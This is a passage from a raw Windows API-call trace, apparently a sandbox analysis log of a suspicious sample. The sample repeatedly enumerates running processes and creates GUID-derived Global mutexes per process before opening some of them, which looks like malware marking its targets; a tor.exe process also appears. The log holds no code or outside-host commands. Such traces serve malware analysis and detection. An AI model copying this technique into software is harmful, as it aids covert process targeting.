lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.934] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.935] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.936] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.937] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.938] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.938] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.939] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.940] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.988] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.989] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.990] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.991] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.991] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.992] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.993] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.994] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0119.994] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0119.994] GetLastError () returned 0xb7 [0119.994] CloseHandle (hObject=0x6cc) returned 1 [0119.994] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0119.995] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0119.996] CloseHandle (hObject=0x56c) returned 1 [0119.996] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0120.128] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0120.130] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.131] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.132] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.132] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.133] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.134] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.135] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.136] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.136] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.137] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.138] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.139] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.140] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.141] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.141] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.142] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.143] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.144] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.145] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.145] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.146] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.147] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0120.147] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0120.147] GetLastError () returned 0xb7 [0120.147] CloseHandle (hObject=0x6cc) returned 1 [0120.147] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.148] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0120.148] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0120.148] GetLastError () returned 0xb7 [0120.148] CloseHandle (hObject=0x6cc) returned 1 [0120.148] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.149] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.150] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0120.150] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0120.150] GetLastError () returned 0x0 [0120.150] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0120.150] CloseHandle (hObject=0x6cc) returned 1 [0120.150] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.151] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0120.151] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0120.151] GetLastError () returned 0x0 [0120.151] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0120.151] CloseHandle (hObject=0x6cc) returned 1 [0120.151] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.152] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0120.152] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0120.152] GetLastError () returned 0xb7 [0120.152] CloseHandle (hObject=0x6cc) returned 1 [0120.152] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.153] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0120.153] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0120.153] GetLastError () returned 0x0 [0120.153] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0120.153] CloseHandle (hObject=0x6cc) returned 1 [0120.153] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.154] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.155] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.155] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.156] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.157] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.158] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.159] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.160] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.160] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.161] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.162] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.163] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.164] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.164] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.165] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.166] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.167] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.168] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.169] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.169] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.170] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.171] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.172] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 